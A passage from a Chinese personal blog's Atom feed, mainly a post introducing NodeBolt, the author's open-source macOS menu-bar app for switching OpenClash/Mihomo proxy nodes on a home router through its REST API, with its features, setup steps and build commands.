<p>我想做个能<strong>在两种比例之间平滑切换</strong>的东西。</p>
<blockquote>
<p>🪐 <strong><a href="https://solar.zhangwenqiang.com/">点这里直接打开 → solar.zhangwenqiang.com</a></strong><br>代码也开源了：<a href="https://github.com/zhangwenqiang0214/solar-system-3d">github.com&#x2F;zhangwenqiang0214&#x2F;solar-system-3d</a></p>
</blockquote>]]>
    </summary>
    <title>按真实轨道画了个太阳系，塞进一个 HTML 文件</title>
    <updated>2026-09-20T13:37:34.351Z</updated>
  </entry>
  <entry>
    <author>
      <name>zhangwenqiang</name>
    </author>
    <category term="折腾记录" scheme="https://zhangwenqiang.com/categories/%E6%8A%98%E8%85%BE%E8%AE%B0%E5%BD%95/"/>
    <category term="macOS" scheme="https://zhangwenqiang.com/tags/macOS/"/>
    <category term="Swift" scheme="https://zhangwenqiang.com/tags/Swift/"/>
    <category term="自己写的小东西" scheme="https://zhangwenqiang.com/tags/%E8%87%AA%E5%B7%B1%E5%86%99%E7%9A%84%E5%B0%8F%E4%B8%9C%E8%A5%BF/"/>
    <category term="OpenClash" scheme="https://zhangwenqiang.com/tags/OpenClash/"/>
    <content>
      <![CDATA[<p>家里的路由器上跑着 OpenClash。这件事本身很好，唯一的问题是——我想换个节点的时候，得先去求它。</p><p>流程大概是这样：打开浏览器，输入一串内网 IP（每次都要想一下是 6.1 还是 1.1），登录，在后台菜单里找到 OpenClash，点进面板，等它加载，终于看见节点列表，点一下。</p><p>全程四十秒，其中三十五秒在等待和回忆。</p><p>于是我写了 <strong>NodeBolt</strong>——一个常驻 Mac 菜单栏的小开关。点一下 ⚡，节点列表就在那儿了。</p><span id="more"></span><h2 id="它是什么"><a href="#它是什么" class="headerlink" title="它是什么"></a>它是什么</h2><p>一句话：<strong>菜单栏里的 OpenClash 遥控器</strong>。</p><img src="/img/nodebolt/panel.jpg" alt="NodeBolt 主面板" width="340"><p>它不是代理软件，不接管你的网络，也不在你的 Mac 上跑内核。你的路由器该怎么跑还怎么跑——NodeBolt 只是坐在菜单栏里，替你按按钮。</p><p>沟通方式是 Mihomo 自带的 <strong>RESTful API</strong>。你给它一个地址和一把钥匙，它就只用这两样东西干活：<strong>不碰 SSH，不改你的路由器配置，不往里塞任何东西</strong>。像个有分寸的客人，进门只坐在你指的那把椅子上。</p><h2 id="能干什么"><a href="#能干什么" class="headerlink" title="能干什么"></a>能干什么</h2><h3 id="切节点"><a href="#切节点" class="headerlink" title="切节点"></a>切节点</h3><p>所有节点平铺在面板里，延迟用颜色标好——绿的快，橙的一般，红的你可以当它不存在。</p><p>点一下就切，<strong>面板不会收起来</strong>。这个细节是我给自己加的：挑节点这种事很少一次就满意，收起来再点开，第三次你就烦了。</p><p>还有搜索、收藏置顶、按延迟或名称排序、一键把超时的都藏起来。嫌麻烦就点「⚡ 最快」，它直接带你去延迟最低的那个。规则 &#x2F; 全局 &#x2F; 直连三种模式也在顶上摆着，随手就能换。</p><h3 id="测速"><a href="#测速" class="headerlink" title="测速"></a>测速</h3><img src="/img/nodebolt/detect.jpg" alt="节点检测" width="340"><p>整组一次测完，也可以单测某个。打开面板自动测、隔一段时间自动测，都行。节点一个个转圈出结果，绿橙红超时，一目了然。</p><h3 id="检测：确认它是真的通了"><a href="#检测：确认它是真的通了" class="headerlink" title="检测：确认它是真的通了"></a>检测：确认它是真的通了</h3><p>节点显示 55ms，不代表你能打开 YouTube。这两件事之间隔着一整个世界。</p><p>所以有了这一页：一键测 GitHub &#x2F; YouTube &#x2F; 百度 &#x2F; QQ 到底通不通、多快。</p><img src="/img/nodebolt/ip.jpg" alt="代理出口 IP 检测" width="340"><p>还会查你的代理出口 IP——三个数据源（ip.sb &#x2F; ipwho.is &#x2F; ipapi.is）对比着看，顺便告诉你这个 IP 是不是机房 IP、是不是被标记成代理或风险 IP。</p><p>有时候连不上某个网站，不是节点慢，是那个 IP 早就被人用坏了。知道这一点，能省下不少无意义的重启。</p><h3 id="管理"><a href="#管理" class="headerlink" title="管理"></a>管理</h3><img src="/img/nodebolt/management.jpg" alt="管理窗口" width="520"><p>平时用不上，但需要的时候不用再去开路由器后台：</p><ul><li><strong>订阅</strong>：列出、更新、健康检查；配置文件按路径一键切换</li><li><strong>连接</strong>：看实时活动连接、搜索、掐掉某一个或者全部</li><li><strong>实时监控</strong>：上下行速率、内存占用、滚动日志</li><li><strong>杂项</strong>：DNS 查询、清 FakeIP、看内核版本、更新 GEO 库</li></ul><p>重启和升级内核也做了，但放在了比较深的地方，还加了二次确认——毕竟按错了，断网的是全家。</p><h3 id="一些顺手的地方"><a href="#一些顺手的地方" class="headerlink" title="一些顺手的地方"></a>一些顺手的地方</h3><p>菜单栏可以直接显示当前节点名或实时网速（觉得吵就只留个图标，或者干脆藏起来）。可以设全局快捷键，一键切最快或呼出面板。</p><p>可以存多套连接档案，家里一套公司一套，切换一下就行。开机自启、节点掉线发系统通知、换了 Wi-Fi 自动重连——这些都在。</p><h2 id="怎么用"><a href="#怎么用" class="headerlink" title="怎么用"></a>怎么用</h2><h3 id="装"><a href="#装" class="headerlink" title="装"></a>装</h3><ol><li>去 <a href="https://github.com/zhangwenqiang0214/NodeBolt/releases">Releases</a> 下载 <code>NodeBolt.dmg</code>，拖进「应用程序」。</li><li>第一次打开要<strong>右键 →「打开」</strong>。这是未签名构建，Gatekeeper 需要你亲口说一句「我知道我在干什么」，说一次就够了。</li><li>提示时<strong>允许「本地网络」</strong>——它要靠这个才能摸到你的路由器。</li></ol><h3 id="配"><a href="#配" class="headerlink" title="配"></a>配</h3><p>点菜单栏的 ⚡ → ⚙ 设置，填两样东西：</p><ul><li><strong>API 地址</strong>，形如 <code>http://192.168.x.x:9090</code></li><li><strong>Secret</strong></li></ul><p>这两样在 OpenClash 的「外部控制」设置里。填完就完事了，没有第四步。</p><h3 id="或者自己编译"><a href="#或者自己编译" class="headerlink" title="或者自己编译"></a>或者自己编译</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">git <span class="built_in">clone</span> https://github.com/zhangwenqiang0214/NodeBolt.git</span><br><span class="line"><span class="built_in">cd</span> NodeBolt</span><br><span class="line">./build.sh          <span class="comment"># 编译并打包 dist/NodeBolt.app（Universal）</span></span><br><span class="line">./package_dmg.sh    <span class="comment"># 生成 dmg</span></span><br></pre></td></tr></table></figure><p>需要 Swift 工具链，完整 Xcode 或只装 Command Line Tools 都可以。</p><h2 id="要求"><a href="#要求" class="headerlink" title="要求"></a>要求</h2><ul><li><strong>macOS 14 (Sonoma)</strong> 或更高</li><li><strong>Apple Silicon 和 Intel 都能跑</strong>（Universal 包）</li><li>内核是 <strong>Mihomo &#x2F; Clash.Meta</strong>，并且开了外部控制器。OpenClash 自带的就行，我在 v1.19.x 上实测过</li></ul><h2 id="接下来"><a href="#接下来" class="headerlink" title="接下来"></a>接下来</h2><p><code>v0.1.0</code> 已经发了。手里还欠着几件事：</p><ul><li>代码签名和公证，让你双击就能装，不用再右键</li><li>Homebrew Cask，<code>brew install --cask nodebolt</code></li><li>Secret 存进系统钥匙串，不再明文躺在硬盘上</li><li>中英文双语</li><li>延迟历史曲线、节点分组视图</li></ul><p>技术栈是 SwiftUI + AppKit，Swift Package Manager 管依赖，几 MB，常驻菜单栏基本不占内存。</p><hr><p>代码在 <strong><a href="https://github.com/zhangwenqiang0214/NodeBolt">github.com&#x2F;zhangwenqiang0214&#x2F;NodeBolt</a></strong>，MIT 协议。</p><p>有想法或者遇到问题，欢迎提 Issue。我大概率会看，也大概率会改。</p>]]>
    </content>
    <id>https://zhangwenqiang.com/2026/06/22/nodebolt-menubar-openclash/</id>
    <link href="https://zhangwenqiang.com/2026/06/22/nodebolt-menubar-openclash/"/>
    <published>2026-06-22T02:00:00.000Z</published>
    <summary>
      <![CDATA[<p>家里的路由器上跑着 OpenClash。这件事本身很好，唯一的问题是——我想换个节点的时候，得先去求它。</p>
<p>流程大概是这样：打开浏览器，输入一串内网 IP（每次都要想一下是 6.1 还是 1.1），登录，在后台菜单里找到 OpenClash，点进面板，等它加载，终于看见节点列表，点一下。</p>
<p>全程四十秒，其中三十五秒在等待和回忆。</p>
<p>于是我写了 <strong>NodeBolt</strong>——一个常驻 Mac 菜单栏的小开关。点一下 ⚡，节点列表就在那儿了。</p>]]>
    </summary>
    <title>NodeBolt：把路由器上的 OpenClash，搬进 Mac 菜单栏</title>
    <updated>2026-09-20T13:37:34.351Z</updated>
  </entry>
</feed>
